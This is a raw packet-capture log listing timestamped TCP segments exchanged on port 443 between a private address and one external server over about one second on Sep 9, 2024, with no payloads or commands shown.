Sep 9, 2024 18:45:14.193061113 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.193068027 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.193108082 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.258852005 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.258872986 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.258974075 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.258989096 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.259031057 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.260670900 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.260689020 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.260731936 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.260736942 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.260782003 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.260847092 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.261153936 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.261214018 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.261240959 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.261279106 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.261310101 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.261324883 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.261735916 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.261754990 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.261831999 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.261831999 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.261837959 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.261887074 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.262212038 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.262233019 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.262264967 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.262269020 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.262305021 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.262319088 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.262598038 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.262615919 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.262644053 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.262649059 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.262675047 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.262687922 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.279763937 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.279784918 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.279827118 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.279839039 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.279861927 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.279871941 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.285665035 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.285686016 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.285726070 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.285732031 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.285778999 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.285795927 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.351543903 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.351564884 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.351857901 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.351869106 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.351907969 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.353187084 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.353204012 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.353266954 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.353272915 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.353310108 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.353682995 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.353698015 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.353739977 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.353744030 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.353770018 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.353787899 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.354265928 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.354279995 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.354336023 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.354341030 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.354377985 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.354726076 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.354746103 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.354801893 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.354806900 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.354836941 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.355151892 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.355165958 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.355217934 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.355223894 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.355257988 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.390877962 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.390902996 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.390949011 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.390958071 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.391004086 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.391216040 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.391232014 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.391279936 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.391285896 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.391319990 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.444092035 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.444108009 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.444308043 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.444317102 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.444360971 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.445735931 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.445751905 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.445806980 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.445811987 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.445847034 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.446187019 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.446204901 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.446247101 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.446253061 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.446268082 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.446291924 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.446707010 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.446727037 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.446764946 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.446769953 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.446790934 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.446798086 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.447184086 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.447204113 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.447251081 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.447256088 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.447287083 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.447590113 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.447607994 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.447649956 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.447654963 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.447686911 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.483321905 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.483341932 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.483397961 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.483412981 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.483445883 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.483875036 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.483894110 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.483949900 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.483954906 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.483989954 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.536511898 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.536535978 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.536598921 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.536607981 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.536643028 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.538280964 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.538297892 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.538350105 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.538356066 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.538388014 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.538737059 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.538754940 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.538806915 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.538811922 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.538845062 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.539182901 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.539201975 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.539247990 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.539252996 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.539284945 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.541495085 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.541512966 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.541574955 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.541579962 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.541604996 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.541610003 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.541856050 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.541873932 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.541914940 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.541918993 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.541949987 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.575874090 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.575892925 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.575954914 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.575961113 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.576000929 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.576157093 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.576185942 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.576215982 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.576220036 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.576246023 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.576251984 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.629681110 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.629723072 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.629791021 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.629797935 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.629837036 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.631171942 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.631191969 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.631243944 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.631249905 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.631340981 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.631412029 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.631426096 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.631488085 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.631499052 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.631520033 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.631551981 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.631871939 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.631886959 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.631942987 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.631948948 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.631984949 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.633992910 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.634028912 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.634062052 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.634067059 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.634088993 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.634095907 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.634540081 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.634555101 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.634597063 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.634603024 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.634649038 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.668490887 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.668504953 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.668637037 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.668641090 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.668683052 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.668870926 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.668884993 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.668936014 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.668948889 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.668989897 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.723659992 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.723676920 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.723889112 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.723901033 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.723941088 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.724220991 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.724234104 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.724292040 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.724298954 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.724325895 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.724339008 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.724478960 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.724492073 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.724540949 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.724548101 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.724581003 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.724802971 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.724816084 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.724863052 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.724868059 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.724893093 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.724906921 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.726650953 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.726664066 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.726732969 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.726737976 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.726773977 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.727087975 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.727102041 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.727153063 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.727159023 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.727179050 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.727197886 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.761936903 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.761959076 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.762021065 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.762029886 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.762068033 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.762253046 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.762268066 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.762316942 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.762322903 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.762356997 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.816346884 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.816366911 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.816478014 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.816488028 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.816529989 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.816660881 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.816673994 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.816724062 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.816730022 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.816770077 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.817161083 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.817173004 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.817220926 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.817226887 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.817265987 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.817646027 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.817657948 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.817706108 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.817711115 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.817734957 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.817751884 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.819106102 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.819119930 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.819175005 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.819181919 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.819206953 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.819220066 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.820679903 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.820693970 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.820749044 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.820755959 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.820791006 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.854357958 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.854374886 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.854470015 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.854485035 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.854521036 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.855505943 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.855519056 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.855619907 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.855627060 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.855667114 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.908572912 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.908590078 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.908668041 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.908684969 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.908725977 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.909107924 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.909126043 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.909173012 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.909178019 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.909216881 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.909569025 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.909586906 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.909642935 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.909647942 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.909682989 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.910085917 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.910100937 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.910151958 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.910157919 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.910192013 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.911614895 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.911628962 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.911681890 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.911689043 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.911720991 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.913189888 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.913203955 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.913259983 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.913266897 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.913304090 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.946862936 CEST	443	49717	198.54.120.231	192.168.2.5
